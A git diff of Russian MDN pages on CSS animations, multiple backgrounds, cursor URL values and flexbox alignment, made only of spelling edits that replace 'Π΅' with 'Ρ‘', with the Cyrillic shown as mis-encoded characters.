<p>{{ EmbedLiveSample('Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Π΄Ρ€ΡƒΠ³ΠΈΡ…_ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ…_ΠΊΠ°Π΄Ρ€ΠΎΠ²', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}</p>
@@ -233,9 +233,9 @@ her in a languid, sleepy voice.&lt;/p&gt;
<h3 id="Установка_Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ_свойствам_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ">Установка Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойствам Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈΒ Β </h3>
-<p>CSS свойство Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈΒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми.Β Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅Β ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, число ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉΒ ΠΈ Ρ‚.Π΄., для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ. Рассмотрим нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ.</p>
+<p>CSS свойство Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈΒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми.Β Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅Β ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, число ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉΒ ΠΈ Ρ‚.Π΄., для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ. Рассмотрим нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ.</p>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β Ρƒ свойства ΠΈΠΌΠ΅Π½ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ установлСны Ρ‚Ρ€ΠΈ значСния, Ρƒ свойств ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ количСства ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉΒ  β€”Β ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ. Π’ этом случаС Ρƒ всСх Ρ‚Ρ€Π΅Ρ… Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ одинаковая ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ число ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉ:</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β Ρƒ свойства ΠΈΠΌΠ΅Π½ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ установлСны Ρ‚Ρ€ΠΈ значСния, Ρƒ свойств ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ количСства ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉΒ  β€”Β ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ. Π’ этом случаС Ρƒ всСх Ρ‚Ρ€Ρ‘Ρ… Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ одинаковая ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ число ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉ:</p>
<pre><code>animation-name:Β fadeInOut, moveLeft300px, bounce;
animation-duration:Β 3s;
@@ -261,7 +261,7 @@ animation-iteration-count:Β 2,Β 1;</code></pre>
<h4 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_CSS">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ CSS</h4>
-<p>НачнСм с добавлСния CSS. Анимация Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π»ΠΈΡ‚ΡŒΡΡ 3 сСкунды, Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ "slidein", Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ 3 Ρ€Π°Π·Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">animation-direction</span></font> установлСно <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">alternate</span></font>. Π’ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠ°Π΄Ρ€Π°Ρ… {{ cssxref("@keyframes") }} установлСны Ρ‚Π°ΠΊΠΈΠ΅ значСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ Π»Π΅Π²ΠΎΠ³ΠΎ отступа, Ρ‡Ρ‚ΠΎ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΠΎΠ»ΡŒΠ·ΠΈΡ‚ΡŒ ΠΏΠΎ экрану.</p>
+<p>Начнём с добавлСния CSS. Анимация Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π»ΠΈΡ‚ΡŒΡΡ 3 сСкунды, Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ "slidein", Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ 3 Ρ€Π°Π·Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">animation-direction</span></font> установлСно <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">alternate</span></font>. Π’ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠ°Π΄Ρ€Π°Ρ… {{ cssxref("@keyframes") }} установлСны Ρ‚Π°ΠΊΠΈΠ΅ значСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ Π»Π΅Π²ΠΎΠ³ΠΎ отступа, Ρ‡Ρ‚ΠΎ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΠΎΠ»ΡŒΠ·ΠΈΡ‚ΡŒ ΠΏΠΎ экрану.</p>
<pre class="brush: css">.slidein {
-moz-animation-duration: 3s;
@@ -316,7 +316,7 @@ animation-iteration-count:Β 2,Β 1;</code></pre>
<h4 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°_события_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</h4>
-<p>Π‘ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript для отслСТивания всСх Ρ‚Ρ€Π΅Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… событий Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ; ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Π΅Π³ΠΎ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>Π‘ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript для отслСТивания всСх Ρ‚Ρ€Ρ‘Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… событий Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ; ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Π΅Π³ΠΎ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<pre class="brush: js">var e = document.getElementById("watchme");
e.addEventListener("animationstart", listener, false);
@@ -366,7 +366,7 @@ e.className = "slidein";
<h4 id="HTML">HTML</h4>
-<p>Π Π°Π΄ΠΈ ΠΏΠΎΠ»Π½ΠΎΡ‚Ρ‹ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½Ρ‹ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ ΠΊΠΎΠ΄ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ HTML. Π’ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ имССтся Ρ‚Π΅Π³ <em>ul,</em> Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈ выводится вся информация:</p>
+<p>Π Π°Π΄ΠΈ ΠΏΠΎΠ»Π½ΠΎΡ‚Ρ‹ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½Ρ‹ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ ΠΊΠΎΠ΄ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ HTML. Π’ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ имССтся Ρ‚Π΅Π³ <em>ul,</em> Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈ выводится вся информация:</p>
<pre class="brush: html">&lt;body&gt;
&lt;h1 id="watchme"&gt;Watch me move&lt;/h1&gt;
diff --git a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
index dc2ba0d32f..a17cf60839 100644
--- a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
+++ b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
@@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅_Ρ„Π
}
</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это сокращСнным {{ cssxref("background") }} свойством ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ свойствами ΠΊΡ€ΠΎΠΌΠ΅Β {{ cssxref("background-color") }}. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² Π²ΠΈΠ΄Π΅ списка ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ Π½Π° Ρ„ΠΎΠ½: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это сокращённым {{ cssxref("background") }} свойством ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ свойствами ΠΊΡ€ΠΎΠΌΠ΅Β {{ cssxref("background-color") }}. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² Π²ΠΈΠ΄Π΅ списка ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ Π½Π° Ρ„ΠΎΠ½: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -45,7 +45,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅_Ρ„Π
<p>{{EmbedLiveSample('Example','100%','400')}}</p>
-<p>Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏ FirefoxΒ (ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π² спискС) располоТСн свСрху, Π΄Π°Π»Π΅Π΅ ΠΈΠ΄Π΅Ρ‚ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΈ Π² самом Π½ΠΈΠ·Ρƒ Ρ„ΠΎΠ½ с пузырями. КаТдоС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΠΎΠ΄-свойство ({{ cssxref("background-repeat") }} ΠΈ {{ cssxref("background-position") }}) примСняСтся ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ„ΠΎΠ½Π°ΠΌ. НапримСр ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{ cssxref("background-repeat") }} примСняСтся ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ Ρ„ΠΎΠ½Ρƒ, ΠΈ Ρ‚.Π΄.</p>
+<p>Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏ FirefoxΒ (ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π² спискС) располоТСн свСрху, Π΄Π°Π»Π΅Π΅ ΠΈΠ΄Ρ‘Ρ‚ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΈ Π² самом Π½ΠΈΠ·Ρƒ Ρ„ΠΎΠ½ с пузырями. КаТдоС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΠΎΠ΄-свойство ({{ cssxref("background-repeat") }} ΠΈ {{ cssxref("background-position") }}) примСняСтся ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ„ΠΎΠ½Π°ΠΌ. НапримСр ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{ cssxref("background-repeat") }} примСняСтся ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ Ρ„ΠΎΠ½Ρƒ, ΠΈ Ρ‚.Π΄.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html
index 3cd0e684d6..1969398293 100644
--- a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html
+++ b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html
@@ -20,7 +20,7 @@ original_slug: >-
<pre class="syntaxbox">cursor: [&lt;url&gt;,]* ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅_слово</pre>
-<p>Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ любоС количСство URL-адрСсов (ΠΎΡ‚Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятой), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΏΡ€ΠΎΠ²ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ спСцификациСй CSS, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ <code>auto</code>Β ΠΈΠ»ΠΈ <code>pointer</code>.</p>
+<p>Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ любоС количСство URL-адрСсов (ΠΎΡ‚Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятой), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΏΡ€ΠΎΠ²ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ спСцификациСй CSS, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ <code>auto</code>Β ΠΈΠ»ΠΈ <code>pointer</code>.</p>
<p>НапримСр, такая ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ допустима:</p>
diff --git a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
index 3fe63cc24c..b59b71c446 100644
--- a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
+++ b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
---
<div>{{CSSRef}}</div>
-<p><span class="tlid-translation translation" lang="ru"><span title="">БпСцификация <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π‘Π»ΠΎΠΊΠΎΠ²</a> ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описываСт, ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡ€ΠΈ использовании Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ.</span> <span title="">На этой страницС ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠΎΠ² Π² контСкстС Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ flexbox.</span> <span title="">ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта страница ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ³ΠΎ описания Π²Π΅Ρ‰Π΅ΠΉ, относящихся ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ flexbox ΠΈ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΡŽ Π±Π»ΠΎΠΊΠΎΠ², Π΅Π΅ слСдуСт Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ вмСстС с основной страницСй <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">выравнивания Π±Π»ΠΎΠΊΠΎΠ²</a>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠ΅ характСристики выравнивания Π±Π»ΠΎΠΊΠΎΠ² ΠΏΡ€ΠΈ использовании Ρ€Π°Π·Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">БпСцификация <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π‘Π»ΠΎΠΊΠΎΠ²</a> ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описываСт, ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡ€ΠΈ использовании Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ.</span> <span title="">На этой страницС ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠΎΠ² Π² контСкстС Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ flexbox.</span> <span title="">ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта страница ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ³ΠΎ описания Π²Π΅Ρ‰Π΅ΠΉ, относящихся ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ flexbox ΠΈ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΡŽ Π±Π»ΠΎΠΊΠΎΠ², Π΅Ρ‘ слСдуСт Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ вмСстС с основной страницСй <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">выравнивания Π±Π»ΠΎΠΊΠΎΠ²</a>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠ΅ характСристики выравнивания Π±Π»ΠΎΠΊΠΎΠ² ΠΏΡ€ΠΈ использовании Ρ€Π°Π·Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ.</span></span></p>
<h2 id="Основной_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Основной ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -25,7 +25,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
<ul>
<li>Главная ось = Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ согласно Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ <code>flex-direction</code> = Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>justify-content</code></li>
